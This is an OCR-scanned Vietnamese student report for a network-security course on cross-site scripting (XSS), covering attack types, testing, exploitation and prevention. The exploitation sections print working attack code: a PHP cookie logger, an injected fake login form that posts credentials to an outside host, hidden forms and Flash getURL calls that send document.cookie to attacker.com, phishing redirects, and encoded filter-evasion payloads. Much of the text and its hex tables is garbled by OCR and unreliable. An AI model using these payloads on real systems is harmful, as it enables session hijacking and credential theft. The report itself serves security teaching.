1. Trang chủ
  2. » Luận Văn - Báo Cáo

Báo cáo Môn học an ninh mạng Kỹ thuật tấn công XSS

28 552 0
Tài liệu được quét OCR, nội dung có thể không chính xác

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 28
Dung lượng 4,98 MB

Nội dung

Trang 1

AN NINH MANG HQC VIEN CONG NGHE BUU CHINH VIEN THONG

CƠ SỞ TP.HCM

BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG

KỸ THUẬT TẤN CÔNG XSS

Giảng uiên hướng dẫn : ThS LỄ PHÚC

Sinh uiên thực hiện : TRẦN ĐÌNH NGỌC MãSYV: 307170045

Trang 2

AN NINH MANG Muc luc

I GIỚI THIỆU CHUNG . ¿6E tt SE £EEEEEE 3x11 3132313 11.1 xe 4

II GIỚI THIỆU VỀ XSS © ¿SE ESE SE BE E113 1313111111111 1311 1111 trưng 5 1 Tìm hiểu XSS ch 1 111011011 11111101 1 T111 HH gi gi gàng dư 5 2 Hai hình thức tôn tại của XSS . - 5c cà St TRE 110111 11 1 01H gi gi ưu 5

2.1 Stored XSS vvcccccccccscccccsccsccsscsscssceeeeeesseaeeaeeeeeseeseeseeeseusssssssseeseesssseseesseseeeeseees 5 "ÁN ›{2jIvï.°0.©5đđaaiđaầaaaiaiiiiiaaiii 6

3 Mức độ nguy hiểm của XXSS - - «tt KT ng g1 nh, 7

4 Mục tiêu mà XSS hướng tỚI - c c0 1 TK TH nọ kh 8

¡8:(97.062/9)/6190/.9‹< 777 :.A 9

IV.CẢNH GIÁC VỚI XSS . : h1 HT 1111 11111 HH gu HH grg 12

V KIEM TRA LOI XSS 2-56 SE E1 E1 11111113 121111 1 Tá gái g ngư 14

IS ác 0 920111177 14

2 Thử bằng COdC - - - set T31 91911 101011 101111111111 11 1111 n1 gu ro 14

VI KHAI THÁC LỖI XSS :- - 2 St EEEkEkEEEEEEEEEEEEEEEE E1 rrr, 16

1.Tóm tắt các bước thực hiện -:-c- tt se k1S31v S8 SeESESESEEESEEESESEEeEeEektsssssrssssssrses 17

2 Cc CACH thurc HiSn ii = ằ 18

2.1 Nghiên cứu cách lẫy €OOKi€S: - - - 6ê St SE KT ng 18 2.2.Nghiên cứu cách lẫy aCCOUII -G- - kESkkEt S9 SE vn 18

2.3 Tân Công XSS Băng Flash -G- © St T1 Htgggngnn 19

3 Attacker dùng XSS để lừa đảO - - cách HT TH nung ng rào 22

Trang 3

AN NINH MANG

VIL PHONG CHONG XSS . - - Sư ST TH HT ngàn chư, 23

1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web 23 2 Đối với người dùng - tt 1E TT T3 Tưng ng gu 26

Trang 4

AN NINH MANG

I GIỚI THIỆU CHUNG

Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới Và hâu hết các website này dùng Cookie để xác thực người dùng

Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được

Cookie người dùng nào Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy hiểm) Vậy làm sao để các hacker có thể lẫy cookie của bạn? Có rất nhiều

cách để các hacker làm việc đó, ở đây tơi xin trình bày một trong những cách mà

hacker thường dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS)

Cross-Site Scripting (XSS) là một trong những kĩ thuật tắn công phố biến nhất hiện nay, đồng thời nó cũng là một trong những vẫn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web Bất kì một website nào cho

phép người sử dụng đăng thơng tin mà khơng có sự kiểm tra chặt chẽ các đoạn mã

nguy hiểm thì đều có thê tiềm ân các lỗi XSS

X55 được thực hiện trên các thé JavaScript, va các thẻ JavaScript chúng có thê làm

được những công việc sau:

1 Thay đổi cẫu trúc của toàn bộ trang web 2 Tạo tùy ý các phần tử HTML

3 Định tuyến lại các hình thức liên kết

4 Phục hồi đữ liệu, xác thực 5 Gửi và nhận dữ liệu

Trang 5

AN NINH MANG

II GIOL THIEU VE XSS

1 Tim hiéu XSS

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhằm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tắn công bằng cách

chèn vào các website động (ASP, PHP, CGI, JSP .) những thẻ HTML hay những đoạn

mã script nguy hiểm có khả năng đánh cắp hay thiết lập được những thông tin quan trong nhu cookies, mat khẩu, usename Trong đó, những đoạn mã nguy hiểm duoc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML

và cũng có thể là cả các thẻ HTML

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tắn cơng trên chính

máy người sử dụng Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết

hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị

mất thông tin một cách dễ dàng

Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngơn ngữ máy khách như VBScript, JavaScript được thực thi trên chính trình duyệt của nạn nhân

2 Hai hình thức tồn tại của XSS

2.1 Stored XSS

Stored XSS là hình thức tấn cơng mà ở đó cho phép kẻ tân công có thể chèn

một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc tử kẻ tan công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored

Trang 6

AN NINH MANG [GUE XSS } > A Attacker 2.2 Reflected XSS

Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của

website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc Điều này xảy ra do ta không chú ý filter input từ URL của website mình

Attacker sends URL Link via email or embedded in another web page to the victim

— TT tc IBM Compatible

r Victim clicks link and requests page (with malicious script as parameters}

I = | >

IBM Compatible L.A

webserver returns the page embedded with the script the attacker chase

—_—_—a ‹ | CJ

[EM Compatible a

victims web browser then executes the script

Trang 7

AN NINH MANG Tấn công XSS là tân công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên

máy nạn nhân thông qua javascript như ăn cắp cookie, chèn mã độc để chiến quyền

điều khiến

XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi

này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này

Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web khơng an tồn đã được xác định vào năm ngoái, và trang Xssed.com đựa ra danh sách gan 13.000 trang trong đó có nhiều lỗ hỗng cross-site scripting (XSS)

Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lây cookie của người đùng

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2F script%3E

3 Mức độ nguy hiểm của XSS

Theo thống kê về các lỗ hồng bảo mật thường bị tân công nhất vào năm 2009

Web Vulnerabilities by Class Q1-Q2 2009

7% 25%

LJ SQL Injection

5 FB cross-site Scripting [lccae Injection

27 8 Authentication & [Information Leak/Disclosure

Authorization | ross-Site Request Forgery

[_]Bufer Errors [ ]we Server

Trang 8

AN NINH MANG [ES Cross-Site Scripting @XSS) chiếm một tỉ lệ rất cao so với các phương pháp tân công

khác

Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu

hết các khả năng tiềm ân của kĩ thuật này đã được biết đến Tuy nhiên chúng ta mới

chỉ khắc phục được một phân của nó Khơng phải vơ tình mà Yahoo Mail lại để sót

một lỗi XSS trong bộ lọc của mình Một phương pháp tơi ưu vẫn cịn đang ở phía trước

4 Mục tiêu mà XSS hướng tới

X55 khai thác thường được sử dụng đê đạt được các kết quả độc hại sau đây:

* Truy cập thông tin nhạy cảm hoặc bị hạn chế

* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online )

* Theo đối thói quen lướt web của người dùng * Thay đổi năng của trình duyệt

* Bơi nhọ danh tiếng của một cá nhân hay công ty * Hủy hoại ứng dụng Web

Trang 9

AN NINH MANG [ES

II.HOẠT ĐỘNG CỦA XSS

XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, đề thực hiện trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay chen virus

Thường thì XSS có dạng như sau:

http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“L6i XSS”)</script>

Và nội dung xuất hiện trên trình đuyệt là một cái popup có thơng tin là “Lỗi XSS”

Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thơng qua URL Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn cơng kiểu XSS Hacker có thể dễ dàng loi dung Document Object Model (DOM) đề thay đôi ngữ cảnh và nội dụng Web ứng dụng

Ví dụ 2: Sau đây là đanh sách nơi có thể chèn đoạn mã:

<a href= "javas&#99;npt&#35;[code]"> <div onmouseover="'[code]''>

<img src="'javascript:[code]"> <img dynsre="javascript:[code]"'>

<input type=""image"’ dynsrc="'javascript:[code]"> <bgsound src=" javascript:[code]"'>

&<script>[code]</script>

&{[code] };

<img src=&{[code]};>

<lién két rel="stylesheet" href=" javascript:[code]"> <iframe src="'vbscript:[code]"'>

<img src=""mocha:[code]"'> <img src="livescript:[code]">

<a href="about:<s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]">

Trang 10

AN NINH MANG

<div style="background-image: url(javascript:[code]);">

<div style="behaviour: url((lién két to code]);">

<div style="binding: url([lién két to code]);"> <div style="width: expression([code]);"> <style type="text/javascript">[code]</style>

<object classid="clsid: " codebase="javascript:[code]"> <script>[code]</script>

<img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]''> <xml src="javascript:[code]">

<xml id="X"><a><b>&lt;script>[code] &It;/script>;</b></a></xml>

(tai ligu tu http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05- 15/0)

Phân in đậm là phân có thể đặt đoạn mã đánh cắp thông tỉn

Về cơ bản XSS cũng giống như SQL Injection hay Source Injection, nó cũng là

các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm sốt của server

Nó có thê là một request duoc gui tt các form dữ liệu hoặc cũng có thê đó chỉ là các

URL như là :

http://www.example.com/search.cgi?query=<script>alert("XSS was found L);</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !"

Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hồn tồn có thê thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của

các lỗi XSS

Nhưng nếu như các kĩ thuật tấn công khác có thê làm thay đổi được dữ liệu

Trang 11

AN NINH MANG

với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tắt nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của websitc

Thật vậy, X5SS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi

trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm

trên server

Mục tiêu tấn công của XSS khơng ai khác chính là những người sử dụng khác của website, khi họ vơ tình vào các trang có chứa các đoạn mã nguy hiểm do các

hacker để lại họ có thể bị chuyên tới các website khác, đặt lại homepage, hay nặng

hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm

Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên ngưới dùng khó mà phát hiện ra Sau đây là cách mã hố(HEX) các kí tự thường dùng trong lỗi XSS của thanh AddressBar của Browser

œ U0 O % 30) ` 60) *90 | A | %cO 6 Yi

%6LT 1 oo] a 61 9091 A oC ñ rail

322 2 3:12 h 62 S82 A, oc? ũ Yol2

“3 3 hos c "463 l 995 A Sạc 3 0 Yots

Fold 4 Yoo d 664 : 3294 A, Sood ñ Yotd

Yo5 4 36-35 e 65 94915 Ầ %oc5 0 of

eG 6 ob f %abb = 598B + cB 6 %0fb

Soll? Ỷ Soa? q be — Yoo? Ẹ Yoo? = Sot?

backspace | %08 8 38 h 68 as 98 E Yoc8 ð oid

tab YoU g Yor i 669 ne So E Sác8 ù ots

linefeed olla Sosa J %oBa Š 929g E YoCa ú %o1a

eb : ob k *06b > 9b E %acb ũ %ofb

Yelle < Sc | SE ce Yc | Joc ũ 6Ï

¢ return #oId = ad mi {00d Od I Socd i! #ofd

lle > Yoda n “be z %9 | Yoce b Safe

SOF e Yoat ũ Sob ¥ Ot | Soct ÿ Vol

10 @ 524 Pp *670 “eal B %od0

%611 A %41 q %71 i Yoal N Sod

3212 B Yd? r Yor 2 ¢ Soa 0 Yod2

313 C 5643 s 3473 £ 92a O Yod3

Yol4 Ũ 144 t Ford oad O Yodd

715 Ẹ 345 u 9475 i “oad O %od5

#e 1E F o4 V %e/b | Yoab u dB

317 G 347 W Sol F § Soar Sod?

916 H ode x 9578 i 9aaR a) %ad

318 | AT ¥ Yor ID ci ag U a9

Sola d Sota z ‘ia * %ùaa Ụ Yoda

%61b kK Ab { “orb % ab L %adb

51C L 5o4C | Pc 4 Yoac U Yodc

%o1d M %o4d } Yor d id oad Y %edd

Yole M Yote = So/p ® “eae P “ode

%1f a %4f 957f om oat RB Sodt

Trang 12

AN NINH MANG

Ví dụ 3: Một địa chỉ đã được mã hóa HEX

http://vieclambank.com/search php?s=">%3C%73 %63%72%69%710%74%20% 713%

72% 63 %25 %33%44-%68 %74-% 74% 710% 25 %33%41%25%32%46% 25 %32%46%6A

% 73%6E%67%6F%63%2B%76%6B%6B%2B%6]D%73%25%32%46% 78% 13% 73 %2E%6A%73%3B%3C%25%32%46% 73%63%72%69%70%74%3E

IV.CANH GIAC VOI XSS

Có lẽ khơng cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nêu bạn có một chút hiểu biết về XSS bạn sẽ khơng cịn phải sợ chúng nữa Thật vậy bạn hồn tồn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó

Các thẻ HTML đều có thê là công cụ cho các cuộc tan công bởi kĩ thuật XSS,

trong đó 2 thẻ IMG và IFRAME có thê cho phép trình duyệt của bạn load thêm các

website khác khi các lệnh HTML được hiển thị Ví dụ như BadTrans Worm một loại

worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay

Outlook Express: Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML><HEAD></HEAD><BODY bgColor=3 D#fftttt>

<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>

</iframe></BODY></HTML>

Trang 13

AN NINH MANG Content-Type: audio/x-wav; name="filename.ext.ext" Content-Transfer-Encoding: base64 Content-ID: <EA4DMGBP9p>

Đôi khi đang đọc thư bạn bị chuyên sang một website khác, bạn có nghĩ rằng bạn có thê mất mật khâu Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khâu hay bị đọc trộm thư mà khơng rõ ngun nhân Có lẽ khi đó các bạn mở các bức

thư mà không hè cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây

nguy hiểm cho bạn Chỉ cần với một đoạn mã HTML, gửi trong thư bạn đã hoàn toàn bị mất cookie của mình:

<form action="http://attacker.com/save.asp" method="post" name="XSS"> <input type="hidden" name="cookie">

</form>

<img border="0" onmouseover="window.document.XSS.cookie.value =

document.cookie; window.document.XSS.submit();" src="none.jpg">

Vậy là khi bạn nhận thư, va nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm

thì cũng có nghĩa là bạn đã bị lấy mất cookie Và với cookie lây được, các hacker có

thé dé dang login hom thu cua ban ma khong cần biết mật khẩu của bạn Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mỗi đc

doạ từ các thẻ HTML lại bỏ qua thẻ IMG Tuy nhiên cho tới ngày 12/7/2003 Yahoo

đã kịp thời vá lỗ hồng nghiêm trọng này, nhưng khơng phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website Nếu như bạn gặp một liên kết có dạng:

http://example.com/s document.cookie)</script>

Chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào Có thể là sẽ tat JavaScript cho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác Nhưng nếu bạn gặp một liên kết như thế này thì sao:

Trang 14

AN NINH MANG

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hố Một

phân kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì Bởi vậy bạn có thể sẽ gặp phải các đoạn mã

nguy hiểm nếu như bạn mất cảnh giác với XSS

Tât nhiên còn rât nhiêu những kiêu tân công khác, trong đó có những kiêu đã được tìm ra có những kiêu chưa lường hêt được, những trong khuôn khô bài viet nay tôi hi vọng với một vài ví dụ vừa rôi, các bạn cũng đã hiêu phân nào vê XSS

V KIEM TRA LOI XSS

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hồng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com Tuy nhiên nếu các website được tự viết mã nguồn thì bạn khơng thể áp dụng phương pháp trên Trong trường hợp này bạn cần đến các chương trình scanner tự động Nếu như bạn sử dụng trong môi trường Windows bạn có thê dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó

cịn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó

Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS Đó là một Perl

Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows Và chúng ta có thể đưa ra hai cách chính sau:

1 Sử dụng Tool

Sử dụng nhiều chương trình đị qt lỗi của ứng dụng web, ví dụ như chương

trình Web Vulnerability Scanner để dò quét lỗi XSS 2 Thử bằng Code

Thực hiện 5 bước:

Bước 1: Mở website cần kiểm tra

Trang 15

AN NINH MANG

cac phan: Search, error message, web form Chu yéu 161 XSS nam ở phân này, nói chung XSS có thê xảy ra ở chỗ nào mà người dùng có thê nhập dữ liệu vào và sau đó nhận được một cái gì đó Ví dụ chúng ta nhập vào chuôi “XSS”

Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các thông tin trả về Ví dụ chúng ta thấy thế này: “Khơng tìm thấy XSS ” , hay là

“Tài khoản XSS khơng chính xác”, “Đăng nhập với XSS không thành cơng) thì

khi đó khả năng chỗ đó bị dính XSS là rất cao

Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn

những đoạn code của chúng ta vào đề thử tiếp, ví dụ như sau:

Chèn đoạn code này: < script>alert("XSS')< /script> vào ô bị lỗi và nhấn nút Submit, néu ching ta nhan duoc một popup có chữ “XSS' thì 100% bị dính XSS

Ta có thể nhập vào form lỗi các thẻ sau:

s* <script>alert(CSS Vulnerable')</script>

“* <i*g csstest=javascript:alert('CSS Vulnerable')> s* &{alert(CSS Vulnerable') };

“* <script>window.open( “http://www.google.com/”’ )</script>

“¢ <META HTTP-EQUIV="refresh"

CONTENT="0;url=javascript:alert(XSS');">

“* <EMBED SRC="http://ha.ckers.org/xss.swf"

AllowScriptAccess="always"></EMBED>

Ví dụ 4: Thông báo cho biết chắc chắn web đã bị lỗi XSS

Trang http://360.xunghe.vn cho bist:

A Wow 855,10 Tom lum kia

Trang 16

AN NINH MANG

Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS

nhưng vẫn khơng xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mơ bụng) nó ra để xem

Khi view sources nhớ kiếm đòng này < script>alert(XSS)< /script> , nếu có

thì chắc chăn là website đó lỗi XSS 100%

Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như

thé nay : http://websitebiloi.com/index.php?page=<script < script=""> nghĩa là

ta có thê chèn code ngay trên thanh ADDRESS

Bước 5: Lên kế hoạch kịch bản tân công

VI KHAI THAC LOI XSS

Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, cịn XSS lại

khơng gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là

người dùng!

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẫu thông

tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứng dụng thiết lập

ra cookie thì mới có thê đọc nó Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hồng trên ứng dụng đó

Trang 17

AN NINH MANG

1.Tóm tắt các bước thực hiện

Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lễ hong XSS

Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (nhu trén guestbook, banner dé dang thêm 1 liên kết do chính hacker tạo ra ) Thông thường hacker khiến người dùng chú ý băng những câu kích thích sự tị mị của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn” Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu ) về máy chủ

của hacker

Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cg1) hoặc một

trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

Trang 18

AN NINH MANG 2 Các cách thực hiện

Dé hiéu rõ hơn về các tân công XSS chúng ta xem xét vi dụ thực tÊ sau:

2.1 Nghiên cứu cach lay cookies:

Thứ nhất: Bạn hãy tạo một file Info.txt và upload lên host cua ban

Thứ hai: Tạo file cookle.asp hoặc cookle.php có nội dung sau và upload file này lên host của bạn như sau:

<?php

$cookie = $_GET['c’];

$ip = getenv(REMOTE_ADD’');

$date = date("j F, Y, g:i, a");;

$referer = getenv(‘HTTP_REFERER');

$fp = fopen(‘info.txt','a');

fwrite($fp,'Cookie: '.$cookie 'IP:' $ip 'date:' Sdate "Referer: '.$referer.' ');

fclose(Sfp);

header("location: http:// hostxss.com /");

}>

Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website

(bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) dạng như sau :

http:// hostxss.com /search.cgi?query=<script>alert(document.cookie)</script>

hoac http:// hostxss.com /search.cgi?%71%75 72%69%70%74%3E (da được mã

hóa)

2.2.Nghiên cứu cách lấy account

Thứ nhất: Bạn hãy tạo một file info.txt va upload lên host của bạn

Thứ hai: Tạo thêm một file xss.Js và cũng upload file này lên host của bạn: File này là đỂ tạo ra một facesite (trang web giả giống trang web thật) đề khi người dùng nhập username va password thi ching ta sẽ điều hướng và

Trang 19

AN NINH MANG

document.body.innerHTML=*

<img src=images/system/logo_main.gif alt=VieclamBank width=230 height=48 border=0>

<BR><br><br>

<center> Thông tin đăng nhập<BR>

<form action=http://www.hostupfile.com/cookie.php

method=POST><table><TR><TD>Tén dang nhap:</TD><TD><input

name=ten></TD></TR><TR><TD>Mat khau:</TD><TD><input name=mk

type=password></TD></TR><TR><TD></TD><TD><input type=submit

value=Login></TD></TR></table></form> </center>'

Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm X55) Khi đó tạo một link dạng như sau và

gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script

vào)

http:// hostxss.com /search.php?s="> <script

src%3Dhttp%3A %2F%@2Fisngoc.vnn.ms%2Fxss.js><%2Fscript>

Khi đó bên phía người dùng sẽ có một trang web giả mạo(face site): Người dùng không phát hiện ra và khi đăng nhập thì cookle hay usename và password sẽ được lưu lại trong file info.txt trén server cua hacker

2.3 Tân Công XSS Bằng Flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker cịn có thể lợi dụng

những tập tin flash để đánh cắp thông tin

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản và tương tự nhu JavaScript, C hay PERL Vi du ham getURLQ đùng để gọi một trang web khác, tham số thường là một URL chăng hạn như “http://www.yahoo.com”

Vi du 5: getURL(“http://www yahoo.com”)

Tuy nhiên có thê thay thế URL bằng JavaScript:

Trang 20

AN NINH MANG | Wi)

Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập

tin flash đó Như vậy là trang web đó đã bị tan cong, bang cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash Một ví đụ khác rõ hơn về cách tân công này là: Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:

getURL(“Javascript:location(‘http://www.attacker.com?newcookie=’+do

cument.cookie)’”’)

Như vậy là khi người dung xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ đo trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker

|

fons For Frame fof Layer Marne Layer 7

+ PRov2ee

getURL ("javascript:alert (document ell

Cach viét Action Scipt trong Flash

DeviantArt la mét trang web nỗi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các

nạn nhân xem tập tin flash đó Dưới đây là địa chỉ liên kết đến một tập tin flash như

đã trình bày trong ví dụ trên

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, cũng có thể là mục tiêu của cách tấn công này, băng cách nhập đoạn mã gọi tập tin flash vào

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8- 444553540000"

Trang 21

AN NINH MANG h/s wflash.cab#version=6,0,0,0" WIDTH="60" HEIGHT="48" id=" 1" ALIGN=""> <PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"'>

<PARAM NAME=quality VALUE=high> <PARAM NAME=bgcolor VALUE=#FF9900>

Trang 22

AN NINH MANG 2

3 Attacker ding XSS dé liva dao

Ngoai viéc lay cookies, các attacker cịn có thê hướng trình duyệt của người dùng

đến trang web mà Attacker thiết kế sẵn!

Sau khi attacker đã có thơng tin về lỗi XSS, họ có thể ding IFRAME, code nhu sau:

<br /><br /><div class="code"><iframe src="http://www.attacker.com"

width="'1" height=""1"" style="'visibility;"></frame></div><br /><br />

( đoạn này dùng để mo 1 trang web mà người không biết!)

<br /><br /><div class="code"><meta equiv="Refresh"

content="0;url=http://www.attacker.com"></div><br /><br />

Ngoai ra ban hoan toan c6 thé ding ham open, close window dé chuyén hướng web

sang một trang web khác bạn muốn

Còn cách này hay hơn : Dùng hàm write In ra một thẻ div đặt độ rộng là 1024, cao 800 possion : absulitly, left=0, top=0 Như vậy là cái div vừa tạo sẽ che toàn bộ màn

hình, thế là người dùng đã vào trang lừa đảo của các attackerl

Attacker có thê lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game,

shopping, Ngan hang, Tin dung hoac là chén virus! 4 Cách vượt qua cơ chế lọc ký tự

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn

lệnh trên URL dé tan céng SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải

quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác

Hex Usage:

Trang 23

AN NINH MANG 2£

3d%27%68%74%74%10%3.a%2f%2E%T7%T71 G71 %2€%63 %67 %69 %73%65%63

%75%72%69% 14% 79%2e%63%61%6d%2f%63%67%69%2d%62%69%6e%2f%6

3%61%61†%6b%69%65%2e%63%67%69%3†%27%20%2b%64%6f%63% 75%6d%

65%6e% 14%2c%63®%6fƒ%6f%6b%69%65%3c%2f% ]3%63%72 %69% 70% 74%3e

link site chuyên đổi sang số HEX:

http://www.swingnote.com/tools/txt2hex.php hoặc http://ha.ckers.ore/xss.html VII PHONG CHONG XSS

Nhu đã đề cập ở trên, một tấn công XSS chỉ thực hiện được khi gửi một trang

web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng khơng q khó khăn để ngăn ngừa XSS Có rất nhiều cách để có thể giải quyết vấn đề

nay OWASP (The Open Web Application Standard Project) noi rằng để có thê

xây dựng các website bảo mật cao đảm bảo những trang phát sinh động không

chứa các tag cua script, đối với các dữ liệu của người sử dụng bạn nên làm những

VIỆC sau:

1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web

Những dữ liệu, thông tin nhập của người đùng, người thiết kế và phát triển ứng dụng Web cần phải thực hiện vài bước cơ bản sau:

Trang 24

AN NINH MANG | YZ!

v Từ chối nhận các dữ liệu hỏng

v Liên tục kiêm tra và thanh lọc dữ liệu

